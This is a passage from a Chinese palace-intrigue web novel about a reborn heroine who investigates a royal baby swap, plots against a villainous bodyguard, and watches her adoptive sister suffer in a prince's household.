是先夫人白氏的陪嫁丫鬟,入镇国公府时,才十岁,是白夫人养来专做妾,替她争宠的那种丫鬟。
听白夫人遗留下来的仆从们说,柳翠枝在夫人房里,是当‘副小姐’来养的,不需做什么粗活儿,领的就是一等丫鬟的份例,家里人——柳家老夫妻,柳
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舅爷等,也在白夫人的陪嫁庄子当小管事。
白夫人对柳家恩重如山。
所以,柳翠枝当年的背叛,才更让人难以接受。
白夫人嫁入镇国公府,七年内,替镇国公生养了四个儿子,连续生育,让她身子亏虚,不愿在受危险,便提拔了柳翠枝做裴国公的妾。
柳翠枝相貌极美,但性格不佳,她爱慕虚荣,含喜金银之物,又格外胆小,有些欺软怕硬,可对白夫人非常忠诚。
那些仆从们都说:翠枝背叛夫人,是谁都同想到的,她视夫人如主、如母、如姐,兵祸之事,让翠枝跟着夫人跑,他们都是抱着但凡有异,翠枝会是夫人的最后一道屏障,她会血肉之躯,用性命保护夫人……
谁知,她会背叛,用夫人挡刀。
这些话,是白夫人亲口说的,没人不信。
前世,沈霜云从没有怀疑过,但今生,她忍不住去想,她的生母姨娘,真的害了白夫人吗?
白夫人的话,全是真的吗?
“裴寂之,明明是庆元帝和裴贵妃的儿子,是楚氏皇族,是最名正言顺的太子,他为什么会成为‘裴世子’?”
“宫里那个受尽庆元帝爱重,周岁立太子,三岁得满朝大儒教导,文武君臣拜服的‘太子’,又是怎么回事?”
“裴寂之和太子,因何调换?被谁调换的?”
沈霜云不信,白夫人毫不知情。
前世,知晓裴寂之的身份后,她是调查的,今生,更是重中之重,私下里,她不知找了多少人,把这事嚼过多少遍!
裴寂之和‘太子’,出生在庆元帝登基那年,彼时,庆元帝还只是‘庆王’,是皇位的有力争夺者之一,却不是先帝看好的继承人。
先帝爱重的是厉王,他欲封做太子的,也是厉王,只是那年,先帝在立太子前,突然病逝,厉王未得圣旨,却欲登基,庆元帝却不服,直接兴兵,于京城之中,二王相斗,引来外乱,攻打京城,彼时,还是庆元帝侧妃的裴贵妃,已然怀孕九月,马上要生产。
白夫人则是怀孕七个月……
第95章 骆明哲之遗祸
裴贵妃和白夫人都是大肚婆儿。
一个九月,一个七日。
那会儿,京城里有庆元帝、有厉王、有晋王,有先帝留下的诸多皇子,以及外乱兵祸,打成了一锅粥。
庆元帝子嗣艰难,满院妻妾,只有裴贵妃一人有孕,他是要争皇位的人,自然重视子嗣,不愿裴贵妃留在京中,恐其遇见危险,就派重兵把她送到孤云寺。
那里于高山之间,把护山轿砍断,寺里囤满粮食,守了两年五年的,不成问题。
此险太平,所以,跟着庆元帝的忠臣镇国公,也把妻子白夫人送到寺内。
姑嫂两个大肚婆儿,被众多兵丁佃户簇拥,孤守寺内,为家人担忧,但,庆元帝和镇国公相当争气,没多久就平了叛乱,庆元帝京中要称帝,派人来接裴贵妃等人……
但被镇国公打散的乱兵,跑到孤云寺外,**险峰。
兵丁们去守寺了。
裴贵妃受到惊吓早产了,彼时,寺内无有稳婆,是也将临盆的白夫人带着贴身嬷嬷,替她接生。
母子平安。
但白夫人受轻太过,也生产了。
两人生的都是儿子,也是一起坐的月子。
沈霜云查到,裴贵妃生产完,因是早产之故,昏迷了两天,期间,全是白夫人的贴身嬷嬷照顾。
想来就是借着机会,白夫人把她生的孩子,跟裴贵妃的调换了。
于是,她的孩子成了太子,而真正的‘太子’,成了裴寂之。
当然,也有可能是嬷嬷调换的,但,据沈霜云调查,那嬷嬷事后没两人喝酒落水,淹**……
至于裴贵妃调换,那不可能,她图什么啊?把亲生的,可能继承**江山的儿子,换成一个国公之子?
有疾否?
只能是白夫人,那时,京中已然传信孤云寺,庆元帝大获全胜,即将登基,她深知庆元帝子嗣这艰难,又贪心皇子,甚至是太子之位,便把两个孩子调换了。
事情也果然如她所愿,她的孩子,成了太子,甚至,如果厉王**那年,太子没出城,被厉王的人堵个正着,而是留宫里,他就会成为万民之主。
嘶……
沈霜云突然吸了口气。
说来,白夫人和柳翠枝被造军冲破流散时,正是太子遇难的消息传回京城那会儿,白夫人应该已经知道,她的亲生儿子**吧?
唉,时间太久了,那时又太乱,她拿不到准确的消息!
该找谁来探听呢?
呃,裴寒声给的那个庄子里,都是厉王**时,为护住镇国公府而受伤的忠仆们!
倒是可以调一调,况且,那些忠仆,也都是裴府几辈‘老臣’,说不定知道孤云寺之事呢。
沈霜云坐在床榻里,双目茫然盯着床帐,思绪纷乱着,压仰翻涌的血液。
亲生母亲被挫骨扬灰,万人践踏,身为女儿,哪怕没见过她,又怎会无动于衷?
——
沈霜云一夜未眠,直至天亮,才短短地睡了一会儿。
次日醒来,满身疲惫,眼睛都快睁不开了,她向谢夫人告了个罪,准备歇息一日,又想出城去裴寒声给的庄子里看看!
结果……
谢夫人、裴寂之、裴九卿、包括裴照野,给或亲自,或派人来告辞她,“近日京中不平,安稳留在府中,不要乱走。”
沈霜云:……
是因为楚清晏被拘的事吗?
那个变态被抓而已,需要这么谨慎吗?
呃……
好吧。
庆元帝和晋王,一母同胞的兄弟俩,唯一生出的‘凤凰蛋’,的确是要慎重对待些的。
“好吧,我听你们的。”
沈霜云放下焦急的心态,从善如流,待在府中,开始收拢心腹。
谢夫人教她的‘主母之责’里,就有怎么收用奴仆的办法,她刚好试试。
沈霜云安稳度日。
期间,陪谢夫人管事,帮她算帐,偶尔跟进下裴九卿那边的‘女鬼**案’,别让在他像前世,在陷进去,在跟裴照野和赵盈盈一块儿,调查楚清晏身边那个,收走骆明哲尸首的半瞎练家子怀大。
裴照野手里有护卫。
赵盈盈有仆从和人脉。
沈霜
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云有前世的经验。
三者合一,倒是很快查到结果。
“……怀大是杏李村的猎户,生来就有巨力,能在山中傅杀猛虎,他那只眼睛,就是杀虎之中伤的,年十八时,强嫂杀兄,被发现后,又杀村壮十几人,改名换姓,自称‘怀大’,逃至军中,辗转来到京城,因其勇武,被楚清晏收为护卫。”
赵盈盈咬牙,把怀大的来历说清。
怀大的父母早亡,他能活下来,养的那么壮,全靠的是‘长兄为父,长嫂为母’,结果呢?他武艺大成,能杀虎博狼,为家争光后,第一件事,就是**嫂子,杀了哥哥,又诛村民十数人……
杏李村民风纯朴,怀大父母去世时,怀大刚刚六岁,怀大之兄也刚跟其嫂成亲,年不过十五,怀大之嫂,更是刚刚十四岁,两人能把怀大拉扯大,多有依靠村民。
可怀大把对他有好,对他有恩的人全杀了。
“……怀大诛杀村民逃离后,怀大之嫂无颜在桃李村生活,又发现自己怀了孕,她无法确定,怀的是怀大之兄的孩子,还是怀大的孩子,便孤身搬至京城,以做媒为生。”
“她生的就是骆明哲。”
裴照野臭着脸补充。
他也分外看不上这个怀大。
此人能杀猛虎,又被楚清晏那般人收为贴身护卫,可见其勇武,但那个人品啊!
已经不是坏,而是恶心了。
沈霜云回忆前世,怀大的确不是什么好东西?楚清晏养的那群食人恶犬,仿佛都是怀大训出来的。
他用**喂狗,又令奴仆覆血,引狗去咬,这才训出一君食人犬来。
“所以……骆明哲要么就是怀大的侄子,要么就是他的儿子……”
她喃喃,表情一言难尽。
“上梁不正下梁歪,怪不得骆明哲为人那么恶劣,原来是遗传了怀大的坏根儿。”
赵盈盈恼声。
她恨一切威胁她姐姐的人。
裴照野则捏着下巴,若有所思,“按咱们现在调查的情况,骆明哲之事,只是怀大知道,楚清晏不晓得喽……”
第96章 你方唱罢我登场
怀大在恶,也只是个侍卫,半奴之辈,他盯上赵家,总比楚清晏盯上强。
“……骆明哲的身世,怀大应该是知道的,只是,我判断,他应该是没法证实,骆明哲究竟是他兄长的儿子,还是他的,所以,只私下偶尔照应,不曾相认,骆明哲也不知道上头有这个‘叔叔爹’……”
沈霜云是让晋王府的内应,调查的怀大。
以有心算无心,消息是很准的。
“……骆明哲勾结玉环,威胁丹雪之时,怀大跟着楚清晏出城了,待他回来,骆明哲已成了死囚。”
“但垢陷骆明哲的是照野,是镇国府!”
晋王府和镇国公府又是死敌,怀大昔日之事,不曾告知楚清晏,毕竟,他自己也晓得,他做之事太恶!
楚清晏自己是个变态,但绝不希望属下也是。
怀大一直瞒着。
“他没把丹雪之事告知楚清晏,最起码目前没有,但他一直在调查骆明哲身死的事,已经打听到盈盈家里了!”
裴照野皱着小脸儿。
怀大虽然没出现在骆明哲跟前,不曾暴露身份,但他也一直关注着这个儿子/侄子,骆明哲一个地痞小混混,能拉出十几个好兄弟,黑白两道混得熟,威胁到官员家的女儿了。
怀大这些的‘栽培’,功不可末。
骆明哲**……名面上的罪,是偷盗御赐之物,这罪名,糊弄糊弄他的傻子小弟们尚可,怀大可没信。
他的儿子/侄子中什么人,他太清楚了,哪有本事偷得到御赐之物,必是有人陷害的,但,裴家五少,高高在上的国公府少爷,让他陷害个地痞?
凭什么?
就是怀大本人来了,都不值得裴五少爷害上一回的,骆明哲更是不配,于是,怀大便怀疑其中有问题,特意找了被裴照野吓唬回乡的骆明哲的小弟们……
他已经快要挖出赵丹雪的事儿。
裴照野、赵盈盈和沈霜云,谁都不怕怀大,然,打了老鼠伤玉瓶,怀大身后还有个楚清晏,他要是脑子一懵上报了,楚清晏捏住赵丹雪的把柄。
这事就麻烦了。
楚清晏那么无耻,谁知他会干什么?
赵丹雪的爹,可是镇国公的信臣啊。
“……我其实,还挺想陷害一下怀大的,小爷不怕丢脸。”裴照野小声嘟囔。
赵盈盈小脸一直皱巴巴。
又担忧又害怕。
毕竟,谁家被楚清晏那种变态盯上,会不害怕吗?
她姐姐脾气又尤其软。
“大姐姐,我们怎么办啊?还,还要像害骆明哲那样,把怀大也弄死吧?”她握住小拳头,一脸凶巴巴的。
裴照野也露出寒光,举起小爪推荐,“我可以,我可以,我可以在贡献御赐的东西。”
“我那里有很多哒!”
“照野,骆明哲是地痞无赖,诬陷他偷盗是无妨的……”说白了,他背后无人撑腰。
彼时怀大不在。
沈霜云失笑,戳了戳裴照野的小脑袋,她道:“但怀大不同,他是晋王府的人,背后是楚清晏,这般小打小闹,不会生出效果,反而会引发楚清晏的注目。”
“况且,他乃勇武之人,能博虎狼,又居住晋王府,你怎么陷害他?”
“呃!”裴照野摸摸头,喃喃道:“总会有办法吧。”
“大姐姐,不能陷害的话,我们要怎么办?”赵盈盈嘟着嘴,一脸小凶狠,“难道要让他继续活着吗?”
“不行不行,让他死,让他死!”裴照野‘叫嚣’。
两个不足十岁的小朋友,口口声声,凶眉立目地要**。
搞得跟两个小反派似的。
沈霜云见状,眉眼弯起,口中轻呢,“他,自然是要死的,只是死时,若是连累一番楚清晏,甚至是……”
沈婉音!
“那就完美了!”
她叹息。
好像个大反派。
——
时光如水,生命如歌,转眼,晋王府纳妾宴里,世子爷楚清晏被裴寂之带走,拘在大明宫的消息,传遍京城。
据说,拘束当日,晋王和晋王妃入慈安宫跪地哭诉,老太后手握头龙拐,快八十的高龄,气势汹汹直
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奔乾坤殿,堵着庆元帝去要‘说法’。
庆元帝避而不见。
老太后拖着老迈年高的‘残躯’,亲自去找裴寂之,堵到大明宫门口,让裴寂寂放人。
彼时,晋王和晋王妃‘狗’仗太后势,也是叫嚣不止。
然而,裴寂之真是条汉子,硬是顶住压住,口称,“臣为大楚臣,为陛下臣,只尊圣旨。”
他让老太后拿释放的圣旨来,否则,谁的面子都不给。
老太后的**。
裴寂之就质问晋王,“无诏入宫,逼问朝臣,王爷要**否?”
前一个**的厉王,如今已尸骨无存,全家殾葬送了,晋王本就是个软弱糊涂的,吓得两股战战。
他生出退意。
并,开始拖老太后和晋王妃的后腿。
老太后铩羽而归。
楚清晏仍旧被关着,大理寺、刑部和宗人府,三司会审,已然查出了不少东西。
据说,庆元帝大怒,要惩治晋王府。
老太后病倒在榻,传召裴贵妃侍疾,没几日,裴贵妃累倒在地慈安宫,昏迷不醒。
庆元帝传旨:晋王妃入宫侍疾。
……
宫里闹得沸沸扬扬,你方唱罢我登场。
晋王府里也是人心惶惶,晋王被裴寂之一句‘**’吓破胆,王八脖子一缩,万事不管,晋王被薅进宫里,给老太后侍疾,愤怒的庆元帝不放她出来,王府内的管事,就是晋王的两位侧妃和世子妃……
晋王侧妃,一个是生了楚湘雅的舞姬侧妃,什么都不懂,另一个无儿无女,活得跟个泥塑似的,万事不沾,史氏倒是常管理,很熟练,可她身体真的特别差,每日清醒的时间都有限,偏偏,又不愿放权给乔氏、周氏等人。
她死死握着管家权。
但,管不过来。
晋王府闹得一团乱,别说仆从了,主子院里都缺衣少食的,刚进晋王府,就惨遭殴打的沈婉音,因刚入门,没人安排她的衣食、被扔到侍妾院里时,居然三人没人给她送饭。
她那肿得猪的脸颊,也没人送药~
第97章 我们是婉音的好哥哥
沈婉音真的……
生生饿了两天,幸好她有好爹好娘,给她准备了嫁妆银子,在发脾气,装主子没用后,她窝囊的,老老实实用银子贿赂,才买了几个窝头,没给饿死。
伤药也买了同屋侍妾的,勉强擦上。
楚清晏侍妾太多,死的又太频繁,所以,他虽是世子,可他的侍妾在府中地位,真的不高。
稍微有点脸面的奴才奴婢,都比侍妾来得体面。
起码人家不会被恶狗咬死吃了。
楚清晏的侍妾,不管受不受宠,都是十几、二十个的住在一个院子里,大伙挤着大通辅,沈婉音入门时,楚清晏向她许诺,“虽为侍妾,却是侧妃的待遇……”
他给沈婉音单独准备了一个小院子。
哪怕只有五间房,三个奴婢,却是独立的小院儿,但如今,她刚进门,楚清晏就被抓了,史氏世子妃厌恶沈婉音的‘野心’,极为讨厌她,直接把她扔到侍妾院儿。
沈婉音晚上睡着大通辅,白天吃不饱穿不暖,乔侧妃和周侧妃也记恨上了她,她三天没吃饭,就是这二位做的,她们还指派了不少,依附她们的侍妾,明里暗里的整治沈婉音。
她们都住一个大通辅啊。
想整治人太容易了。
就几天的功夫,沈婉音头发也被绞了,换来的伤药是渗了金汁的,上完后脸都烂了,睡觉的辅被泼了水,衣裳绞烂,鞋里放针,花银子买回来的饭食,大部分都不能吃,全是烂的臭的……
她受尽了折磨。
她承受不住,花了足足一千两银子,偷偷买卖下人,想给父亲和哥哥们送信。
“快来救我,呜呜呜,爹爹,大哥、二哥,三哥,你们快来救我,我快要**,那些**她们嫉妒我,折磨我,一定是沈霜云干的,婚礼那天,她就巴结史氏那个劳病鬼,打了我,如今更是变本加厉,勾结史氏为难我……”
“爹爹,大哥,二哥,三哥,你们快点想办法帮帮我吧,你们让沈霜云去跪着求裴寂之,让他把世子爷放回来,让世子爷保护我,没有世子爷,我就要**!”
通篇,沈婉音都在抱怨和求助。
她满怀期望的,把这封信递给收了她一千两银子的丫鬟。
丫鬟满口保证,接下了信,转头跑到正院,恭敬的把信给了史氏。
史氏展开,看见‘劳病鬼’三个字时,骤然冷笑,轻描淡写的道:“这信,是那**用哪只手写的?”
“废了吧。”
“是。”丫鬟恭敬应声。
史氏的目光,又从头到尾的扫了一遍,旋即,轻蔑扔出,吩咐道:“把这个送给沈家吧。”
无论如何,她是晋王府的世子妃,跟楚清晏修戚与共,沈婉音的信里有想求楚清晏的意思,又真的能关联到裴寂之。
不管得不得用,史氏都要试一试的。
万一呢?
“是,娘娘,奴婢这就去办。”
丫鬟领命,转身离去。
转天,沈婉音的右手,不知为何,被石凳砸中,断了食指和中指,而那封信,也辗转送到了沈府。
沈家几人,看了沈婉音的哭泣,心疼的泪如泉涌。
心都要碎了啊。
“婉音,我的女儿啊,天啊,我的孩子,从小娇生惯养,什么时候受过样的罪啊?”
“吃不饱,穿不暖,住大通辅,还要被人为难,呜呜呜,老爷,墨言,你们,你们快点办法帮她,把她救出来吧,呜呜呜,我的心快疼**!”
周氏抱着信,泪如雨下,脸色都是惨白。
她是真的心疼女儿。
对沈婉音,她的确是慈母,这一瞬间,她都不去想什么荣华富贵,皇后太后的,只想着把女儿从那‘地狱’里接出来,哪怕养一辈了,也不让她受苦。
但……
前世,沈霜云也同样是她的女儿,同样去了晋王府,遭了一模一样的罪,哦,沈霜云比沈婉音遭的罪还要多。
那时,沈霜云还要面对楚清晏这个凶兽,天天挨打挨骂,遭受死亡威胁。
周氏从未心疼过她。
甚至,会在沈霜云快要**,回府求救的时候,轻蔑的讽刺她,“连男人都拢不住,反而要挨打,
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算什么女人?”
“笨嘴拙舌,不会说甜话,不会讨好人,真是活该挨打!”
“打吧,不打不成器。”
“人教人,教不会,事教人,教便通,世子爷想来也是被你蠢的厌烦了,才会发脾气,你忍忍,多说些好话就是了。”
“男人嘛,难免脾气不好,做女人的,就应该体谅,妻都如此,何况且你这个妾?”
对沈霜云,周氏全是这种话,可轮到沈婉音,她却全然承受不住。
一门心思的要把人接回来。
“……我的女儿,我心疼,呜呜呜,相公,墨言,你们明天就去,去拜见太子妃,把婉音给我带回来啊!”
周氏痛哭。
沈**拧眉,转头没好气的责斥她,“你这蠢妇,嫁出去的女儿,泼出去的水儿,婉音已经是楚世子的人了,怎么能随便往回领?”
“少说那些糊涂话。”
“可是,可是,相公,婉音她受罪啊,你看看她信里写的,她在晋王府受尽了折磨,咱们的宝贝女儿,她又不是霜云,天生奴婢命,能挨得住苦!”
“她在闺中养着,何曾破碰过一层油皮,从来都是娇惯着,如今,吃不好,穿不暖,还要挨欺负,呜呜呜……”
周氏顿足。
沈墨言、沈宁川和沈今安,也是一副担忧不已的模样。
“爹,咱们不能眼睁睁看着晋王府的那些**折磨婉音啊!”
沈墨言沉声。
“是啊,咱们给得妹妹撑腰,不能干看着啊。”沈今安也是着急,眼睛瞪的充满血丝。
像是要冲到晋王府,跟欺负沈婉音的同归于尽一样。
这些日子,他对婉音,虽然有了些小小的埋怨,可从小到大的维护,那些疼爱,哪可能忘得了?
一旦婉音受了苦,他就忍不住想要关心,想要帮助。
唉,可怜天下兄长心。
他可太有责任了。
就连沈宁川那样冷静自私的读书人,脸上都露出焦急神色。
婉音的情况,真的很糟,他做哥哥的,真的很心疼,反到是沈**……
第98章 沈**不敢后悔
沈氏一家五口,有四个担忧万分,焦急不止,想尽一切办法,想要帮助乖女儿/好妹妹,但真正的家主沈**……
他却有些恍惚了。
沈婉音进入晋王府后的遭遇,太出乎他的意料了,怎么会是那样的凄凉?
明明他的养女,他当了十六年掌上明珠,捧在头顶上的好女儿,是个凤凰命啊!
她应该天生富贵,能帮着沈家腾飞啊!
那是名满天下的相师,替他算出的命格!
他一直坚信这些,才疼沈婉音入骨,把一切都送到她面前,哄着她,娇着她的?
结果呢?
婉音她,她,怎么过的还不如霜云?
明明都是镇国公裴家的女儿,霜云回去后,在那府里站稳脚根,主母疼她,弟弟敬她,几个裴公子,虽然是喊打喊杀的,有些折腾,可最后都化险为夷,霜云在镇国公府的地位越来越稳固,都敢对他们大喊大叫了,但婉音呢?
明明应该是侧妃入府,当个主子的,偏偏几番闯祸,被贬成侍妾,花言巧语,说进府会是侧妃待遇,哄得他卖房卖地,替她置办嫁妆!
那是足足五万两啊。
沈家三分之一的家底儿,他都填的婉音了,为的就是相师的那句‘福星’,那句‘外戚’!
婉音真的行吗?
她带着那么多银子,砸都能在晋王府砸个好院子,好待遇出来,可她捧着金山银山在那儿住通辅,受磨难。
她连自己都照顾不好,可能带飞家人吗?
不会是,不会是那相师算错了吧?
不,不会的,绝对不会的!!
已经投入那么多的沈**,旦凡想到那相爷是骗子,他脸色都变得煞白,眼前一阵阵发黑,身子直打颤!
他不相。
他绝不愿相信。
如果婉音不是他家的福星,带他家成为外戚,荣华百年的预言是错的,那他这么多年付出算什么?
算他好骗吗?
沈**身子直打晃儿。
“相公,相公,你怎么了?脸色怎么那么白,你,你别吓我啊。”周氏惊声,呜咽惊呼道:“不好了,墨言,快,你快去叫大夫过来,你爹太心疼婉音,受了刺激,要昏死过去了!”
“快让大夫来把脉开药!”
“好!”
沈墨言也沉声,转身要往外跑。
“爹,我扶你!”沈今安上前,一把拽住沈**的胳膊,把他按坐到太师椅,口中还安慰,“别担心,没事的,爹,我和大哥、二哥,都这么大的人了,我们可以替你分忧,可以保护妹妹!”
“晋王府,长公主府、那几个**侧妃算得了什么?爹,你等着吧,你三儿子我早晚会成了大楚第一首富!”
“大哥会是大将军,二哥会是状元,是宰相,我们有钱有权有兵有将,保证能让婉音在晋王府横着走!”
“就算如今,咱们暂时蛰伏,也不用惧他们,我明天就去晋王府,问问那史氏妒妇,她**妾,配当主母吗?”
沈今安拍着胸膛怒声。
沈**张嘴想骂他,偏偏口水呛住嗓子,咳的脸色涨红,噎的直翻白眼,一句话说不出来,只是捂着胸口,“咳咳咳咳咳!!”剧烈咳嗽着。
小舌头都快吐出来了。
“相公,你别急,呜呜呜,婉音要是知道,你为了她急成这样,她那么孝顺的孩子,肯定也会难过的,呜呜呜。”
周氏泣声。
沈墨言已经开始往外走了。
沈**一边咳嗽,一边拼命拽住他。
“不,不,咳咳咳,我,我,你们,咳咳咳,你们……”
不能去。
史氏是长公主的孙女,亲爹是尚书,京城里,除了宗氏的公主郡主,她算是顶尖那泼儿,娘家婆家都厉害!
婉音若不是他家的福星,那他做甚要得罪史氏?
“婉音她,她是侍妾,咳咳咳,不可违背主母,你们,你们不要得罪……”
他断断续续的说。
“为什么?爹,婉音在受委屈!!”沈今安高声。
沈墨言也拧眉不解。
周氏更是瞠目结舌,“相公,那
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些什么妻妾规矩的话,那都是骗外人的自己女儿受苦,自然不一样了。”
“呜呜呜,相公,你糊涂了。”
沈**气的脸色通红,咳的更厉害了。
到是沈宁川,若有所思的抿了抿唇,他有些明白父亲的意思了,但,不行啊。
为外人,可以讲究利益得失,冷静分辨值不值得,但婉音是妹妹,是亲人,怎么一样呢?
“爹,呃,婉音她,她只是不见喜与世子妃和侧妃等人罢了,她那么可爱优秀,得世子爷的重视和喜欢……”
父亲是沈家家主,若父亲执意不愿在护着婉音,他们兄弟也无可奈何,得想办法,好生劝劝!
沈宁川沉容,终归是家里唯一一个读书种子,眼珠子一转,立刻有了借口,“……爹,女子善妒,心眼如同麦芒般窄小,史氏和侧妃等人,如此针对婉音,何尝不是嫉妒害怕她?”
“她们怕得到世子真爱的婉音,怕她得了世子所有的欢心,所以,才趁着世子不在折磨婉音。”
“她们肯定是想毁了婉音的容貌仙姿,让世子放弃她,爹,世子有多疼爱婉音,你是知道的?”
“你忘了世子亲自跟咱们见面时说的话吗?”
楚清晏觉得沈家人都是大才,不输镇国公府,未来会成为他的助力,才对沈家父子礼重有加,极为看中,但……
他用前世的‘果’,却追亲生的‘因’,沈家父子却不知啊。
他家目前,也只有沈**在内务府当了个小小的皇商,连官都算不上,沈家三兄弟更是白身中的白身。
沈宁川区区举人,也不值得楚清晏低头看,哪怕一眼。
所以,堂堂晋王世子,皇帝和同胞兄弟两个人,唯一的后代,人家会重视沈家,礼重他们的原因。
沈家人只能想到沈婉音。
是婉音嘴甜可爱,招人喜欢,得了世子爷的相爱,所以,沈家才被看重!
“爹,如今世子爷招惹了些许小麻烦,被困在宫里,婉音孤立无援,正是最最重要的时候……”
第99章 裴世子的心意
沈宁川绞尽脑汁,想劝服沈**出手相助,他郑重地道:“爹,我们要帮婉音,一定要帮她。”
“只要等到世子爷洗清污名,平安从宫中归来,婉音现下的受得苦,立刻就能从世子爷那里得到回报。”
“世子爷是爱重她的,爹,你好好想想啊。”
“婉音已经入了晋王府,不能回头了。”
“这,这……”
是啊!
就是因为投入太多,回不了头,沈**才会痛苦犹豫!!
他,他……
十分不知所措。
相较他们沈家的地位——皇商,还是很不体面的皇商,楚清晏对待他们父子,的确称得上‘礼遇’了,所以,应是婉音之功。
而楚世子如今虽然是陷入危险,但,他是庆元帝唯一的嫡亲侄儿,老皇帝那么大年纪了,肯定不能生了,皇位传给楚世子的可能性最大。
只是,楚世子真的像老二说的那样重视婉音吗?
真重视,怎么会让她被欺负成那样?
沈**也是男人,他知道一个男人,真正喜欢女子是怎样的?
怎会不替他安排?
他把这个疑惑吐出。
沈宁川皱了皱眉,有些哑然。
可沈今安却理所当然,一拍大腿,冷声恨道:“能是为什么?还不是沈霜云从中作梗,害得世子爷被抓得太突然!!”
“爹,二哥,你们想想嘛,世子爷在跟婉音大喜的日子里被抓走,那么突兀,肯定什么都来不及安排,就被拘在大明宫里了,明白婉音对世子爷多重要的晋王和晋王妃,都在太后那里。”
“晋王府剩下的全是妒妇,她们肯定是用婉音‘不吉利’,刚入府就‘克’得楚世子被拘为由来苛刻她!”
“就这个,才让楚世子留下照顾婉音的人不敢轻易援手!”
“一定是这样。”
“肯定是这样,毕竟,楚世子被抓得匆忙,自然是没提前交代下的……”
沈今安毫无根据的猜测着,并且坚定不移,甚至为此怒骂道:“那个愚夫愚妇,居然信什么‘克不克’的,真是蠢得可以,明明是沈霜云性小窄狭,怂恿裴寂之,刻意在婉音的好日子里搅乱!”
“那不是天灾,是人祸,全是沈霜云的错,偏偏,那群妒妇迂腐善妒的可以,要借命数之由来害人!”
他破口大骂。
沈**很是尴尬。
他……
也是信命之人。
十六年前,要不是信了那位神相的话,他怎么会亲手**,捡回两个‘赔钱货’,又怎会如珠如宝地养着婉音?
对她比对三个儿子都好。
就是信她会让沈家飞黄达腾,会让他沈**位极人臣,权倾朝野啊。
“今安,你,你说的没错!!”
不想让至今为此的投入变成笑话,又对楚清晏的重视抱着野望,沈**被说服了,他咬牙切齿,分享人脉,拿出银子,开始竭尽全力地收买晋王府的人,来给沈婉音铺路。
不能让婉音**!
也不能损了她的容貌,让她玉颜憔悴,男人爱女人,八成都相关着容貌,沈**太明白了。
只是,沈家和晋王府比起来,真是太卑微,太弱小,哪怕仅是收买些管事奴仆之流,都花了沈**大笔的银子、人情和关系。
可得到的结果,却只是沈婉音那处,多了一瓶能治伤的药,她三餐能吃上些正常的饭菜。
仅是热的,连肉食都没有。
价值……
几乎等同几百两银子一个馒头,几千两银子一钱伤药。
这些钱……
基本都进了史氏的腰包。
她到挺开心的。
沈**却疼得心都要烂了,几日后,沈墨言等人也有些招架不住,沈**只有三个儿子,沈家的家产是要传给他们的,沈婉音嫁人,已带走那么多的嫁妆,如今,又多了个无底洞。
“得让世子爷快些脱罪回府,否则,婉音的一日三餐,我们就要供应不起了!”
在王府的婉音妹妹,一天要用掉一千两。
惊马案,要是查上三、五个月,沈家就破产了。
“去找霜云,让她求裴寂之,赶紧把世子爷放出来!”
“查案,哪里不能查?凭什么非要拘禁世子?肯定是沈霜云嫉妒婉
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音,尽的谗言!”
“她惹出的祸,她来承担!”
——
深秋,天气晴和,**无云。
沈霜云坐上马车出府了。
和裴寂之。
两个人。
真的,回到镇国公府大半年了,她应该是头一回和裴寂之单独出门,且,不是为了什么正经事。
裴寂之要给她补过生辰!
沈霜云是九月份的生日,就在楚清晏纳沈婉音的第二天,那会儿,裴寂之刚抓了楚清晏进宫,好几日都没出来,后来,也一直忙着调查惊马案,硬抗太后,咬下晋王府一块肉的事儿。
直到前天,他才第一次回府,然后……
就知道了他那好四弟干的破事。
柳姨娘挫骨扬灰,万人践踏之地,被好四弟当生辰礼送给了沈霜云!
裴寂之:……
他,一个目前连身世都确定不了,但,应该不是裴家血脉,却占据了世子之位的人。
他没有利益,也的确狠不下心去指责裴寒声,可对沈霜云,又破了些,说不明,道不清的情绪。
他也不愿,沈霜云太难过。
那毕竟是唯一知晓他身世和秘密的人,是他的妹妹,呃……
没有血缘的那种妹妹。
出自补偿心理,他特意在百忙之中,抽出一天的时间,亲自去了降云阁,向沈霜云说明,要带她出去散散心。
当然……
真正的生辰礼,早在宫里时,他就派人送回来了。
非常简单粗暴的,他给了钱。
五千两!
黄金。
都没用金票,五口大箱子,二十个侍卫,就那么整整齐齐地抬进降云阁,放到沈霜云面前,箱子盖一打开,不开玩笑,整个降云阁上下,包括沈霜云本人都惊呆了。
一两金,十两银。
沈霜云给了五千两黄金,就是等同五万两白银啊。
她救驾都没得到那么的赏赐,呃……
话说回来,她过回生辰,无论是谢夫人、还是裴九卿,送她的礼物,大约都比救驾御赐的要多不少呢!
所以……
皇帝的命,就,就不值银子呗!
第100章 天下第一楼
裴家人的大手笔,让沈霜云产生了大逆不道的想法,她第一时间……
自然是要推辞的。
虽然,推辞裴家人送的礼物,从来没成功过,但,她也是真的不敢接受这么贵重!!
这是真的贵重啊!!
五口大箱子,五千两黄金,堆在降云阁里,沈霜云都怕她的院子遭了贼。
呃,虽然她的院子在镇国公府的后宅最中央位置,小偷想在她院子里偷东西,得先闯入镇国公府,过了前院,入了二门,在穿过花园,溜进后宅,而镇国公府的防卫……
自那年厉王**后,就由裴寂之亲自接手,来往家丁护卫,全是边关退伍的铁血老兵。
能一个打十个那种。
他们分成三班,昼夜不停地巡视,想入国公府后院偷盗,难度不下独闯边防营,但……
沈霜云就是担心。
她就是怕。
她,她,她虽然目前的身家——救驾御赐、过生辰母亲、二哥、弟弟赠送,当然也包括柳姨娘埋骨之处的庄子,加起来,远远超过五千两黄金,但,真正的金块儿,齐刷刷摆放眼前的震撼,跟庄子辅子股份不同!!
另有一种‘威严’。
“我不能要,母亲,你,你替我还给大哥哥吧~”
裴寂之把五大口箱子搬到降云阁的第二天,沈霜云起早去了正院,十分艰难地向谢夫人推拒。
理智告诉她,她不能要。
但感情怂恿,接着,接着,狠狠的接着!!
拜托,谁能拒绝黄金啊。
“给你就拿着,为甚不要?这是哥哥送妹妹的,接下理所当然啊。”谢夫人含笑,半点不悦都没有。
继子赠送庶子千金,别说继母,就是亲娘怕都会看不惯的。
偏偏,谢夫人仅是满眼温柔,扭了扭沈霜云的脸颊,玩笑道:“真是个笨丫头,给了金子都不要。”
“若是有人给我五千两黄金,我铁定二话不说,直接塞进口袋里,别说推辞了,哪怕后悔了,要都要不回去的。”
“母亲,我就是觉得有点,呃,有点太多了。”沈霜云羞涩垂头。
她和谢夫人,照野亲近,两人送她礼物,她感恩收下,没做太多推辞,是因为她心里知道,凡这二人需要她相助,她会倾尽所有,毫不犹豫,裴九卿送她礼物……
没这么贵重。
而且,那是她的血缘兄弟,裴寂之是什么?
楚家人。
未来太子,也,也不是她哥哥啊,还给的那么多,让她收下,她真是有些害怕。
